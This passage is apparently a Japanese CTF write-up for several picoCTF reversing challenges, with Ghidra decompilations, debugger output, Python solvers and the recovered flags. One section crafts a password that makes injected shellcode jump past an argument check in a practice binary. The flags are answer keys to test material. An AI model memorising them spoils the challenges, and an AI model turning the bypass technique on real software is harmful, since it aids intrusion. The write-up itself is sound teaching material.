05:0014│      0xffffd8d4 ◂— 0x1d
06:0018│      0xffffd8d8 —▸ 0x56558bc0 ◂— 0x62446836 ('6hDb')
07:001c│      0xffffd8dc —▸ 0x56558bf0 ◂— 0x68406e2e ('.n@h')
───────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────
 ► f 0 56555953
   f 1 56555a60
   f 2 f7df1f21 __libc_start_main+241
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/s 0x56558bc0
0x56558bc0: "6hDb6hDbT\a#\a^\a#\a^\a#\a^\a#\a^\a#\a^\a"
pwndbg> x/s 0x56558bf0
0x56558bf0: ".n@h\035Se|\027X\026CmXb6oCb0\001b\026\063k?@e8z"
pwndbg>

hogehogeと入力した時の__dest6hDb6hDbT\a#\a^\a#\a^\a#\a^\a#\a^\a#\a^\aとなっており、__dest_00.n@h\035Se|\027X\026CmXb6oCb0\001b\026\063k?@e8zとなっています。

__destに着目します。

__destはparam_1をコピーしてFUN_000107c2で並び替らえた文字列です。そのparam_1はfgetsで取得した文字列をFUN_0001082bで加工しFUN_000107c2で並び替えたものです。二度FUN_000107c2に通されており、最初のFUN_000107c2では第三引数に1を与えられ2度目のFUN_000107c2では第三引数に-1を与えられているため並べ替えをしていないのと同等です。つまり、入力した文字列をFUN_0001082bに通しただけの状態となっています。

よって、FUN_0001082bを通して.n@h\035Se|\027X\026CmXb6oCb0\001b\026\063k?@e8zとなる文字列を総当りで求めるとフラグが手に入ります。

from itertools import product
import string

def FUN_0001082b(s, slen):
    buf = s + bytearray((slen & 0xfffffffc) + 4 - len(s))
    ctr = 0xabcf00d
    while (ctr < 0xdeadbeef):
        buf = FUN_000106bd(buf, (slen & 0xfffffffc) + 4, ctr)
        ctr += 0x1fab4d
    return buf

def FUN_000106bd(buf, slen, val):
    local = [
        (val >> 0x18) & 0xff,
        (val >> 0x10) & 0xff,
        (val >> 8) & 0xff,
        val & 0xff
    ]
    ctr = 0
    while ctr < slen:
        buf[ctr] = buf[ctr] ^ local[ctr % 4]
        ctr += 1
    return buf

expected = bytearray(b".n@h\035Se|\027X\026CmXb6oCb0\001b\026\063k?@e8z")

candidates = string.printable

flag = bytearray(b"picoCTF{")

for i in range(len(expected) - len(flag)):
    for c in candidates:
        tmp_flag = flag + c.encode()
        tmp = FUN_0001082b(tmp_flag, len(expected))
        idx = len(tmp_flag)
        if tmp[idx-1] == expected[idx-1]:
            break
    flag = tmp_flag
    print(f"[+] flag: {flag}")
$ python solve.py
[+] flag: bytearray(b'picoCTF{I')
[+] flag: bytearray(b'picoCTF{I_')
[+] flag: bytearray(b'picoCTF{I_5')
[+] flag: bytearray(b'picoCTF{I_5D')
[+] flag: bytearray(b'picoCTF{I_5D3')
[+] flag: bytearray(b'picoCTF{I_5D3_')
[+] flag: bytearray(b'picoCTF{I_5D3_A')
[+] flag: bytearray(b'picoCTF{I_5D3_A1')
[+] flag: bytearray(b'picoCTF{I_5D3_A11')
[+] flag: bytearray(b'picoCTF{I_5D3_A11D')
[+] flag: bytearray(b'picoCTF{I_5D3_A11DA')
[+] flag: bytearray(b'picoCTF{I_5D3_A11DA7')
[+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_')
[+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_e')
[+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_e5')
[+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_e54')
[+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_e545')
[+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_e5458')
[+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_e5458c')
[+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_e5458cb')
[+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_e5458cbf')
[+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_e5458cbf}')

ARMssembly 4

他のARMssemblyと同様に与えられたアセンブリコードを読むだけです。

chall.Sを手動逆コンパイルすると以下のコードになります。

// decompile.c
#include <stdio.h>

typedef unsigned int uint;

uint func1(uint);
uint func2(uint);
uint func3(uint);
uint func4(uint);
uint func5(uint);
uint func6(uint);
uint func7(uint);
uint func8(uint);

uint func8(uint a) {
    return a + 2;
}

uint func7(uint a) {
    if (a > 100) {
        return a;
    } else {
        return 7;
    }
}

uint func6(uint a) {
    uint b = 314;
    uint c = 1932;
    for (uint i = 0; i <= 899; i++) {
        a = (800 * c) - ((800 * c) / b) * b;
    }
    return a;
}

uint func5(uint a) {
    a = func8(a);
    return a;
}

uint func4(uint a) {
    uint b = 17;
    b = func1(b);
    return a;
}

uint func3(uint a) {
    return func7(a);
}

uint func2(uint a) {
    if (a <= 499) {
        return func4(a - 86);
    } else {
        return func5(a + 13);
    }
}

uint func1(uint a) {
    if (a > 100) {
        return func2(a + 100);
    } else {
        return func3(a);
    }
}

int main(int argc, char *argv[]) {
    uint tmp = atoi(argv[1]);
    printf("Result: %ld\n", func1(tmp));
}

これをコンパイルして引数に3964545182を与えて実行してみます。

$ gcc -o decompile decompile.c
$ ./decompile 3964545182
Result: 3964545297

3964545297と出てきました。これを16進8桁の値に変換してpicoCTF{}で包んだpicoCTF{ec4e2911}がフラグとなります。

Powershelly

rev_PS.ps1とoutput.txtが与えられます。

$input = ".\input.txt"

$out = Get-Content -Path $input
$enc = [System.IO.File]::ReadAllBytes("$input")
$encoding = [system.Text.Encoding]::UTF8
$total = 264
$t = ($total + 1) * 5
$numLength = ($total * 30 ) + $t
if ($out.Length -gt 5 -or $enc.count -ne $numLength)
{
  Write-Output "Wrong format 5"
  Exit
}

else
{
  for($i=0; $i -lt $enc.count ; $i++)
  {
    if (($enc[$i] -ne 49) -and ($enc[$i] -ne 48) -and ($enc[$i] -ne 10) -and ($enc[$i] -ne 13) -and ($enc[$i] -ne 32))
    {
      Write-Output "Wrong format 1/0/"
      Exit
    }
  }
}

$blocks = @{}
for ($i=0; $i -lt $out.Length ; $i++)
{
  $r = $out[$i].Split(" ")
  if ($i -gt 0)
  {
    for ($j=0; $j -lt $r.Length ; $j++)
    {
    if ($r[$j].Length -ne 6)
    {
      Write-Output "Wrong Format 6" $r[$j].Length
      Exit
    }
      $blocks[$j] += $r[$j]
    }
  }
  else
  {
    for ($j=0; $j -lt $r.Length ; $j++)
    {
    if ($r[$j].Length -ne 6)
    {
      Write-Output "Wrong Format 6" $r[$j].Length
      Exit
    }
      $blocks[$j] = @()
      $blocks[$j] += $r[$j]
    }
  }

}


function Exit  {
  exit
}


function Random-Gen {
  $list1 = @()
  for ($i=1; $i -lt ($blocks.count + 1); $i++)
  {
    $y = ((($i * 327) % 681 ) + 344) % 313
    $list1 += $y
  }
  return $list1
}


function Scramble {
    param (
        $block,
        $seed
    )
    $raw = [system.String]::Join("", $block)
    $bm = "10 " * $raw.Length
    $bm = $bm.Split(" ")
    for ($i=0; $i -lt $raw.Length ; $i++)
    {

      $y = ($i * $seed) % $raw.Length
      $n = $bm[$y]
      while ($n -ne "10")
      {
        $y = ($y + 1) % $raw.Length
        $n = $bm[$y]
      }
      if ($raw[$i] -eq "1" )
      {
        $n = "11"
      }
      else
      {
      $n = "00"
      }
      $bm[$y] = $n
    }
    $raw2 = [system.String]::Join("", $bm)
    $b = [convert]::ToInt64($raw2,2)
    return $b
}


$result = 0
$seeds = @()
for ($i=1; $i -lt ($blocks.count +1); $i++)
{
  $seeds += ($i * 127) % 500
}

$randoms = Random-Gen
$output_file = @()
for ($i=0; $i -lt $blocks.count ; $i++)
{

  $fun = Scramble -block $blocks[$i] -seed $seeds[$i]
  if($i -eq 263)
  {
  Write-Output $seeds[$i]
  Write-Output $randoms[$i]
  Write-Output $fun
  }
  $result = $fun -bxor $result -bxor $randoms[$i]
  $output_file += $result
}
  Add-Content -Path output.txt -Value $output_file

大まかに処理をまとめると

  1. input.txtの読み込み。正しい形式でない場合Wrong Formatと表示して終了
  2. seedsとrandomsの生成
  3. iがblock数より大きければoutput_fileをoutput.txtというファイルに保存。そうでなければ以下の処理を行う
  4. Scramble関数でi番目のblockの中身をかき混ぜる
  5. funと直前のresultでxorをとり、さらにi番目の乱数とxorをとる。これをresultに代入する
  6. resultをoutput_fileに追加する
  7. iに1加えて3に戻る

このようになっています。

Scramble関数に着目します。この関数では与えられたblockの中身をかき混ぜているのですが、どう混ぜるかはseedによって決まっています。このseedは既にわかっている情報です。よって、どことどこが入れ替わっているか求めることができ元のblockを復元できます。

後は1番目のブロック、2番目のブロック...と順番に復元していけばinput.txtを復元できます。

MAX_BLOCK = 265

def random_gen(blocks_num):
    list1 = []
    for i in range(1, blocks_num + 1):
        y = (((i * 327) % 681) + 344) % 313
        list1.append(y)
    return list1

def scramble(raw_block, seed):
    bm = ("10 " * len(raw_block)).split(" ")
    for i in range(0, len(raw_block)):
        y = (i * seed) % len(raw_block)
        n = bm[y]
        while n != "10":
            y = (y + 1) % len(raw_block)
            n = bm[y]
        if raw_block[i] == "1":
            n = "11"
        else:
            n = "00"
        bm[y] = n
    return int("".join(bm), 2)

seeds = []
for i in range(1, blocks_num + 1):
    seeds.append((i * 127) % 500)
return seeds
    
randoms = random_gen(MAX_BLOCK)

with open("output.txt") as f:
    before_res = 0
    blocks = []
    for i, line in enumerate(f.readlines()):
        x = before_res ^ int(line) ^ randoms[i]

        raw_length = 30
        
        indices = []
        result_s = "0" * raw_length
        x_s = bin(x)[2:].replace("11", "1").replace("00", "0")
        x_s = "0" * (raw_length - len(x_s)) + x_s

        for j in range(0, raw_length):
            y = (j * seeds[i]) % raw_length
            while y in indices:
                y = (y + 1) % raw_length
            result_s = result_s[:j] + x_s[y] + result_s[j+1:]
            indices.append(y)

        assert x == scramble(result_s, seeds[i])
        blocks.append([result_s[i:i+6] for i in range(0, raw_length, 6)])
        before_res = int(line)

lines = ["" for _ in range(5)]
for block in blocks:
    for i in range(5):
        lines[i] += block[i]

with open("input.txt", "w") as f:
    for line in lines:
        f.write(line+"\n")
$ python rev.py
$ cat input.txt
100001110011110011110011100001100001100001100001100001110011110011100001110011100001100001110011100001110011110011100001100001100001110011110011100001110011110011100001110011110011110011110011100001110011100001100001100001100001110011110011100001110011100001110011100001110011100001100001100001110011100001100001100001110011110011100001100001110011110011110011110011100001110011110011100001100001110011110011100001100001110011100001100001100001110011110011100001100001100001100001100001100001110011110011100001100001100001110011100001100001110011110011110011100001100001100001100001110011110011100001110011100001100001100001100001110011110011100001110011100001100001110011100001110011110011100001100001110011110011110011100001110011110011100001110011100001100001100001100001110011110011110011100001110011110011110011100001110011100001100001100001100001100001100001100001110011110011110011110011100001100001110011100001110011100001110011110011110011110011110011100001100001110011110011100001100001110011100001100001110011100001110011110011110011110011110011100001110011110011110011100001100001100001100001100001110011110011100001110011110011110011110011100001110011110011110011100001110011110011110011100001100001110011110011100001100001110011110011100001110011110011110011100001100001110011100001100001100001110011100001100001110011100001100001100001110011110011100001110011100001100001100001100001110011110011100001100001110011100001110011100001110011110011100001110011110011100001100001100001100001110011100001100001100001100001110011100001110011110011110011110011110011100001110011
001100100011100011100011001100001100001100001100001100100011100011001100100011001100001100100011001100100011100011001100001100001100100011100011001100100011100011001100100011100011100011100011001100100011001100001100001100001100100011100011001100100011001100100011001100100011001100001100001100100011001100001100001100100011100011001100001100100011100011100011100011001100100011100011001100001100100011100011001100001100100011001100001100001100100011100011001100001100001100001100001100001100100011100011001100001100001100100011001100001100100011100011100011001100001100001100001100100011100011001100100011001100001100001100001100100011100011001100100011001100001100100011001100100011100011001100001100100011100011100011001100100011100011001100100011001100001100001100001100100011100011100011001100100011100011100011001100100011001100001100001100001100001100001100001100100011100011100011100011001100001100100011001100100011001100100011100011100011100011100011001100001100100011100011001100001100100011001100001100100011001100100011100011100011100011100011001100100011100011100011001100001100001100001100001100100011100011001100100011100011100011100011001100100011100011100011001100100011100011100011001100001100100011100011001100001100100011100011001100100011100011100011001100001100100011001100001100001100100011001100001100001100100011001100001100100011100011001100100011001100001100001100001100100011100011001100001100100011001100100011001100100011100011001100100011100011001100001100001100001100100011001100001100001100001100100011001100100011100011100011100011100011001100100011
001100110011110011110011001100001100001100001100001100110011110011001100110011001100001100110011001100110011110011001100001100001100110011110011001100110011110011001100110011110011110011110011001100110011001100001100001100001100110011110011001100110011001100110011001100110011001100001100001100110011001100001100001100110011110011001100001100110011110011110011110011001100110011110011001100001100110011110011001100001100110011001100001100001100110011110011001100001100001100001100001100001100110011110011001100001100001100110011001100001100110011110011110011001100001100001100001100110011110011001100110011001100001100001100001100110011110011001100110011001100001100110011001100110011110011001100001100110011110011110011001100110011110011001100110011001100001100001100001100110011110011110011001100110011110011110011001100110011001100001100001100001100001100001100001100110011110011110011110011001100001100110011001100110011001100110011110011110011110011110011001100001100110011110011001100001100110011001100001100110011001100110011110011110011110011110011001100110011110011110011001100001100001100001100001100110011110011001100110011110011110011110011001100110011110011110011001100110011110011110011001100001100110011110011001100001100110011110011001100110011110011110011001100001100110011001100001100001100110011001100001100110011001100001100001100110011110011001100110011001100001100001100001100110011110011001100001100110011001100110011001100110011110011001100110011110011001100001100001100001100110011001100001100001100001100110011001100110011110011110011110011110011001100110011
001100110011110011110011001100001100001100001100001100110011110011001100110011001100001100110011001100110011110011001100001100001100110011110011001100110011110011001100110011110011110011110011001100110011001100001100001100001100110011110011001100110011001100110011001100110011001100001100001100110011001100001100001100110011110011001100001100110011110011110011110011001100110011110011001100001100110011110011001100001100110011001100001100001100110011110011001100001100001100001100001100001100110011110011001100001100001100110011001100001100110011110011110011001100001100001100001100110011110011001100110011001100001100001100001100110011110011001100110011001100001100110011001100110011110011001100001100110011110011110011001100110011110011001100110011001100001100001100001100110011110011110011001100110011110011110011001100110011001100001100001100001100001100001100001100110011110011110011110011001100001100110011001100110011001100110011110011110011110011110011001100001100110011110011001100001100110011001100001100110011001100110011110011110011110011110011001100110011110011110011001100001100001100001100001100110011110011001100110011110011110011110011001100110011110011110011001100110011110011110011001100001100110011110011001100001100110011110011001100110011110011110011001100001100110011001100001100001100110011001100001100110011001100001100001100110011110011001100110011001100001100001100001100110011110011001100001100110011001100110011001100110011110011001100110011110011001100001100001100001100110011001100001100001100001100110011001100110011110011110011110011110011001100110011
100001000000000000000000100001100001100001100001100001000000000000100001000000100001100001000000100001000000000000100001100001100001000000000000100001000000000000100001000000000000000000000000100001000000100001100001100001100001000000000000100001000000100001000000100001000000100001100001100001000000100001100001100001000000000000100001100001000000000000000000000000100001000000000000100001100001000000000000100001100001000000100001100001100001000000000000100001100001100001100001100001100001000000000000100001100001100001000000100001100001000000000000000000100001100001100001100001000000000000100001000000100001100001100001100001000000000000100001000000100001100001000000100001000000000000100001100001000000000000000000100001000000000000100001000000100001100001100001100001000000000000000000100001000000000000000000100001000000100001100001100001100001100001100001100001000000000000000000000000100001100001000000100001000000100001000000000000000000000000000000100001100001000000000000100001100001000000100001100001000000100001000000000000000000000000000000100001000000000000000000100001100001100001100001100001000000000000100001000000000000000000000000100001000000000000000000100001000000000000000000100001100001000000000000100001100001000000000000100001000000000000000000100001100001000000100001100001100001000000100001100001000000100001100001100001000000000000100001000000100001100001100001100001000000000000100001100001000000100001000000100001000000000000100001000000000000100001100001100001100001000000100001100001100001100001000000100001000000000000000000000000000000100001000000

何やら似たようなパターンが連続しているような感じがします。わかりやすくするため0を黒、1を白として画像にしてみます。

from PIL import Image, ImageDraw

with open("input.txt") as f:
    data = f.readlines()

img = Image.new('L', (len(data[0]), 5))
draw = ImageDraw.Draw(img)

for y, line in enumerate(data):
    for x, c in enumerate(line):
        if c == "0":
            draw.point((x, y), fill=(0))
        else:
            draw.point((x, y), fill=(255))
img.show()

f:id:miso_24:20210411195050p:plain

小さな画像ですが01110000...という文字列が出てきました。後はこれを8bitずつ区切って文字列に変換すればフラグが得られます。

zero = ["100001001100001100001100100001", "100001100011001100001100100001"]
one = ["110011100011110011110011000000", "110011001100110011110011000000"]


with open("input.txt") as f:
    data = f.readlines()

bin_flag = ""
flag = ""

data = [d.rstrip() for d in data]

for i in range(0, len(data[0]), 6):
    rows = ""
    for j in range(5):
        rows += data[j][i:i+6]
    if rows in zero:
        bin_flag += "0"
    elif rows in one:
        bin_flag += "1"
    if len(bin_flag) == 8:
        flag += chr(int(bin_flag, 2))
        bin_flag = ""

print(flag)
$ python solve.py
picoCTF{2018highw@y_2_pow3r$hel!}

Rolling My Own

remoteというELF形式の実行ファイルが与えられます。

実行するとPassword:と表示されるので適当に入力してやるとillegal hardware instructionsegmentation faultと出て終了します。

./remote
Password: hoge
zsh: segmentation fault (core dumped)  ./remote

Ghidraでデコンパイルしてmain関数を見ます。

undefined8 FUN_00100b6a(void)

{
  size_t sVar1;
  void *__ptr;
  undefined8 *puVar2;
  long in_FS_OFFSET;
  int local_100;
  int local_fc;
  int local_e8 [4];
  undefined8 local_d8;
  undefined8 local_d0;
  undefined8 local_c8;
  undefined8 local_c0;
  undefined8 local_b8;
  undefined8 local_b0;
  undefined local_a8;
  char acStack153 [65];
  char local_58 [72];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setbuf(stdout,(char *)0x0);
  local_c8 = 0x57456a4d614c7047;
  local_c0 = 0x6b6d6e6e6a4f5670;
  local_b8 = 0x367064656c694752;
  local_b0 = 0x736c787a6563764d;
  local_a8 = 0;
  local_e8[0] = 8;
  local_e8[1] = 2;
  local_e8[2] = 7;
  local_e8[3] = 1;
  memset(acStack153 + 1,0,0x40);
  memset(local_58,0,0x40);
  printf("Password: ");
  fgets(acStack153 + 1,0x40,stdin);
  sVar1 = strlen(acStack153 + 1);
  acStack153[sVar1] = '\0';
  local_100 = 0;
  while (local_100 < 4) {
    strncat(local_58,acStack153 + (long)(local_100 << 2) + 1,4);
    strncat(local_58,(char *)((long)&local_c8 + (long)(local_100 << 3)),8);
    local_100 = local_100 + 1;
  }
  __ptr = malloc(0x40);
  sVar1 = strlen(local_58);
  FUN_00100e3e(__ptr,local_58,sVar1 & 0xffffffff);
  local_100 = 0;
  while (local_100 < 4) {
    local_fc = 0;
    while (local_fc < 4) {
      *(undefined *)((long)&local_d8 + (long)(local_fc * 4 + local_100)) =
           *(undefined *)((long)__ptr + (long)(local_e8[local_fc] + local_fc * 0x10 + local_100));
      local_fc = local_fc + 1;
    }
    local_100 = local_100 + 1;
  }
  puVar2 = (undefined8 *)mmap((void *)0x0,0x10,7,0x22,-1,0);
  *puVar2 = local_d8;
  puVar2[1] = local_d0;
  (*(code *)puVar2)(FUN_0010102b);
  free(__ptr);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

main関数をPythonで書き直すと以下のようになります。

# decompile.py
from hashlib import md5

def md5hash(buf, blen):
    if blen % 0xc == 0:
        block_num = blen // 0xc
    else:
        block_num = blen // 0xc + 1
    result = bytearray(0x40)
    for i in range(block_num):
        if i != block_num - 1 and blen % 0xc != 0:
            tmp = buf[i*0xc:i*0xc+block_num]
        else:
            tmp = buf[i*0xc:i*0xc+0xc]
        m5 = md5()
        m5.update(tmp)
        digest = m5.digest()
        for j in range(0x10):
            result[(i * 0x10 + j) & 0x3f] = digest[j]
    return result

hoge = [0x57456a4d614c7047, 0x6b6d6e6e6a4f5670, 0x367064656c694752, 0x736c787a6563764d]
hoge = [h.to_bytes(8, "little") for h in hoge]

# fgets(inp, 0x40, stdin)
inp = b"D1v1" + b"bbbbccccdddd"
inp = inp + bytes(0x40 - len(inp))

tmp_inp = inp
data = b""
for i in range(4):
    data += tmp_inp[:4] + hoge[i]
    tmp_inp = tmp_inp[4:]

h = md5hash(data, len(data))

local_e8 = [8, 2, 7, 1]
local_d8 = bytearray(16)

for i in range(4):
    for j in range(4):
        local_d8[j * 4 + i] = h[local_e8[j] + j * 0x10 + i]

# local_d8の中身がmmapで確保された領域に書き込まれ、呼び出される
#   puVar2 = (undefined8 *)mmap((void *)0x0,0x10,7,0x22,-1,0);
#  *puVar2 = local_d8;
#  puVar2[1] = local_d0;
#  (*(code *)puVar2)(FUN_0010102b);

FUN_0010102bはフラグを表示する関数です。第一引数が0x7b3dc26f1でないとフラグを表示してくれません。

パスワードの最初の4文字はヒントよりD1v1とわかっています。これを上記のdecompile.pyのinpに与えてやるとb"\x48\x89\xfe\x48"が返ってきます。これはmov rsi, rdiを表しています。

local_d8の中身が、

mov rsi, rdi
xor rdi, rdi
mov rdi, 0x7b3dc26f1
jmp rsi

のようになる入力を探しても見つからず、いろいろ試していたらD1v1plsu0jPO$U2hと入力するとうまくいくことがわかりました。これを入力すると以下の命令が実行されます。

mov  rsi, rdi
xor sil, 0x45
dec rsi
nop
jmp rsi
jbe 0xfa3

FUN_0010102bのアドレスの下位2byteは0x102b、FUN_0010102b内の__stream = fopen("flag","r");のアドレスの下位2byteは0x106dです。rsiにはFUN_0010102bのアドレスが入っており、xor sil, 0x45dec rsiで0x102b ^ 0x45 - 1 = 0x106dとなるため第一引数をチェックしている部分を無視してフラグを表示できるようになっています。

$ nc mercury.picoctf.net 17615
Password: D1v1plsu0jPO$U2h
picoCTF{r011ing_y0ur_0wn_crypt0_15_h4rd!_ad137747}s

Checkpass

checkpassというELF形式の実行ファイルが与えられます。実行するとUsageが表示されます。

$ ./checkpass
Usage:
    ./checkpass <password>

適当にpasswordを与えてやると今度はInvalid lengthと表示されます。

$ ./checkpass hogehoge
Invalid length

passwordの長さを少しずつ増やしながら与えてやると41文字でInvalid passwordと表示されるようになりました。

$ ./checkpass AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Invalid password

これらの情報を元に解析を進めていきます。

とりあえずGhidraでデコンパイルしてmain関数と思われる関数を見てみます。

void FUN_00105960(void)

{
  long *plVar1;
  undefined4 *puVar2;
  long *plVar3;
  undefined4 uVar4;
  undefined4 uVar5;
  undefined4 uVar6;
  undefined4 uVar7;
  undefined4 uVar8;
  undefined4 uVar9;
  undefined4 uVar10;
  undefined **local_128;
  undefined *puStack288;
  undefined *local_118;
  undefined4 uStack272;
  undefined4 uStack268;
  long *local_108;
  undefined8 local_100;
  char local_f5;
  char local_f2;
  char local_f1;
  char local_f0;
  char local_ef;
  char local_ee;
  char local_ed;
  char local_ec;
  char local_eb;
  char local_ea;
  char local_e9;
  char local_e8;
  char local_e7;
  char local_e6;
  char local_e5;
  char local_e4;
  char local_e3;
  char local_e2;
  char local_e1;
  char local_e0;
  char local_df;
  char local_de;
  char local_dd;
  char local_dc;
  char local_db;
  char local_da;
  char local_d9;
  char local_d8;
  char local_d7;
  char local_d6;
  char local_d5;
  char local_d4;
  char local_d3;
  char local_d2;
  char local_d1;
  char local_d0;
  char local_cf;
  char local_ce;
  char local_cd;
  char local_cc;
  char local_cb;
  char local_ca;
  char local_c9;
  char local_c8;
  char local_c7;
  char local_c6;
  char local_c5;
  char local_c4;
  char local_c3;
  char local_c2;
  char local_c1;
  undefined **local_c0;
  undefined4 local_b8;
  undefined4 uStack180;
  long lStack176;
  long local_a8;
  code *pcStack160;
  undefined4 uStack144;
  undefined4 uStack140;
  long local_88 [2];
  long local_78;
  undefined local_70 [24];
  undefined4 uStack88;
  undefined4 uStack84;
  undefined local_50 [24];
  undefined4 uStack56;
  undefined4 uStack52;
  
  local_108 = &local_a8;
  FUN_0011f000(local_108);
  uStack272 = uStack144;
  uStack268 = uStack140;
  FUN_00106a00(local_88,&local_128);
  if (local_78 == 2) {
    if (*(long *)(local_88[0] + 0x28) == 0x29) {
      plVar3 = *(long **)(local_88[0] + 0x18);
      if (((plVar3 == (long *)&DAT_00139d78) || (*plVar3 == 0x7b4654436f636970)) &&
         ((plVar1 = plVar3 + 5, plVar1 == (long *)&DAT_00139d94 || (*(char *)plVar1 == '}')))) {
        if (*(char *)(plVar3 + 1) < -0x40) {
          FUN_00134220(plVar3,0x29,8,0x29,&PTR_s_src/main.rs_00348260);
        }
        else {
          if (*(char *)plVar1 < -0x40) {
            FUN_00134220(plVar3 + 1,0x21,0,0x20,&PTR_s_src/main.rs_00348260);
          }
          else {
            local_c0 = (undefined **)thunk_FUN_0011ac90(0x20,1);
            if (local_c0 == (undefined **)0x0) {
              FUN_00132f80(0x20,1);
              do {
                invalidInstructionException();
              } while( true );
            }
            local_b8 = 0x20;
            uStack180 = 0;
            lStack176 = 0;
                    /* try { // try from 00105b2a to 00105b3a has its CatchHandler @ 001065c8 */
                    /* } // end try from 00105b2a to 00105b3a */
            FUN_00106720(&local_c0,0,0x20);
            uVar4 = *(undefined4 *)(plVar3 + 1);
            uVar5 = *(undefined4 *)((long)plVar3 + 0xc);
            uVar6 = *(undefined4 *)(plVar3 + 2);
            uVar7 = *(undefined4 *)((long)plVar3 + 0x14);
            uVar8 = *(undefined4 *)((long)plVar3 + 0x1c);
            uVar9 = *(undefined4 *)(plVar3 + 4);
            uVar10 = *(undefined4 *)((long)plVar3 + 0x24);
            puVar2 = (undefined4 *)((long)local_c0 + lStack176 + 0x10);
            *puVar2 = *(undefined4 *)(plVar3 + 3);
            puVar2[1] = uVar8;
            puVar2[2] = uVar9;
            puVar2[3] = uVar10;
            puVar2 = (undefined4 *)((long)local_c0 + lStack176);
            *puVar2 = uVar4;
            puVar2[1] = uVar5;
            puVar2[2] = uVar6;
            puVar2[3] = uVar7;
            if (lStack176 == 0) {
              local_128 = (undefined **)*local_c0;
              puStack288 = local_c0[1];
              local_118 = local_c0[2];
              uStack272 = *(undefined4 *)(local_c0 + 3);
              uStack268 = *(undefined4 *)((long)local_c0 + 0x1c);
                    /* try { // try from 00105b77 to 001065c2 has its CatchHandler @ 001065d7 */
              lStack176 = lStack176 + 0x20;
              FUN_001054e0(local_70,&local_128,0);
              uStack272 = uStack88;
              uStack268 = uStack84;
              FUN_001054e0(local_50,&local_128,1);
              uStack272 = uStack56;
              uStack268 = uStack52;
              FUN_001054e0(&local_a8,&local_128,2);
              uStack272 = uStack144;
              uStack268 = uStack140;
              FUN_001054e0(&local_e0,&local_128,3);
              local_e9 = local_dd;
              local_e3 = local_dc;
              local_ec = local_db;
              local_e1 = local_da;
              local_f0 = local_d9;
              local_e7 = local_d8;
              local_e2 = local_d6;
              local_ee = local_d5;
              local_e5 = local_d3;
              local_f1 = local_d1;
              local_ed = local_d0;
              local_e6 = local_cf;
              local_e4 = local_ce;
              local_ea = local_cc;
              local_eb = local_cb;
              local_ef = local_ca;
              local_e8 = local_c4;
              local_f2 = local_c2;
              local_128 = (undefined **)0x19;
              local_f5 = local_de;
              if ((((((local_c7 == -0x1a) && (local_128 = (undefined **)0x0, local_e0 == '\x1f')) &&
                    (local_128 = (undefined **)0xe, local_d2 == -0x31)) &&
                   ((local_128 = (undefined **)0x13, local_cd == -0x48 &&
                    (local_128 = (undefined **)0x17, local_c9 == -0xc)))) &&
                  ((((local_128 = (undefined **)0x1, local_df == -0x67 &&
                     ((local_128 = (undefined **)0x1d, local_c3 == -0x1a &&
                      (local_128 = (undefined **)0x1b, local_c5 == -0x33)))) &&
                    ((local_128 = (undefined **)0x1a, local_c6 == 'w' &&
                     (((((local_128 = (undefined **)0xc, local_d4 == -0x62 &&
                         (local_128 = (undefined **)0x1f, local_c1 == '{')) &&
                        (local_128 = (undefined **)0x6, local_da == ':')) &&
                       ((local_128 = (undefined **)0xa, local_d6 == -0x52 &&
                        (local_128 = (undefined **)0xf, local_d1 == 'H')))) &&
                      (local_128 = (undefined **)0x1e, local_c2 == 'w')))))) &&
                   (((((local_128 = (undefined **)0x7, local_d9 == -0x35 &&
                       (local_128 = (undefined **)0xb, local_d5 == -0x35)) &&
                      ((local_128 = (undefined **)0x5, local_db == '\"' &&
                       (((local_128 = (undefined **)0x16, local_ca == 'F' &&
                         (local_128 = (undefined **)0x10, local_d0 == '\x05')) &&
                        (local_128 = (undefined **)0x15, local_cb == -0x67)))))) &&
                     ((local_128 = (undefined **)0x3, local_dd == -0x3e &&
                      (local_128 = (undefined **)0x14, local_cc == -0x33)))) &&
                    (local_128 = (undefined **)0x8, local_d8 == 'E')))))) &&
                 ((((local_128 = (undefined **)0x1c, local_c4 == '+' &&
                    (local_128 = (undefined **)0xd, local_d3 == ' ')) &&
                   ((local_128 = (undefined **)0x11, local_cf == '{' &&
                    (((local_128 = (undefined **)0x2, local_de == 'P' &&
                      (local_128 = (undefined **)0x9, local_d7 == -0x59)) &&
                     (local_128 = (undefined **)0x4, local_dc == -0x48)))))) &&
                  ((local_128 = (undefined **)0x18, local_c8 == -0x31 &&
                   (local_128 = (undefined **)0x12, local_ce == '{')))))) {
                FUN_001066a0();
              }
              else {
                FUN_00106650();
              }
            }
            else {
              lStack176 = lStack176 + 0x20;
              FUN_00106600();
            }
          }
        }
      }
      else {
        FUN_00106650();
      }
    }
    else {
      FUN_00106600();
    }
  }
  else {
    if (local_78 == 0) {
                    /* try { // try from 00105a53 to 00105b16 has its CatchHandler @ 001065e6 */
      FUN_001356a0(0,0,&PTR_s_src/main.rs_00348248);
    }
    else {
      local_a8 = local_88[0];
      pcStack160 = FUN_001054c0;
      local_128 = &PTR_DAT_00348228;
      puStack288 = (undefined *)0x2;
      local_118 = (undefined *)0x0;
      local_100 = 1;
      FUN_001083b0(&local_128);
      FUN_0011f1d0(1);
    }
  }
  do {
    invalidInstructionException();
  } while( true );
}

大まかに処理の流れをまとめると以下のようになります。

  1. 第一引数として与えられた文字列(以下inputという)の長さが0x29かどうかチェック
  2. inputがpicoCTF{}という形式かチェック
  3. inputをFUN_001054e0に4回通す
  4. inputが正しければSuccess、間違っていればInvalid passwordと表示

3,4番の処理をPythonで書き直して総当りでフラグを求めました。

import string

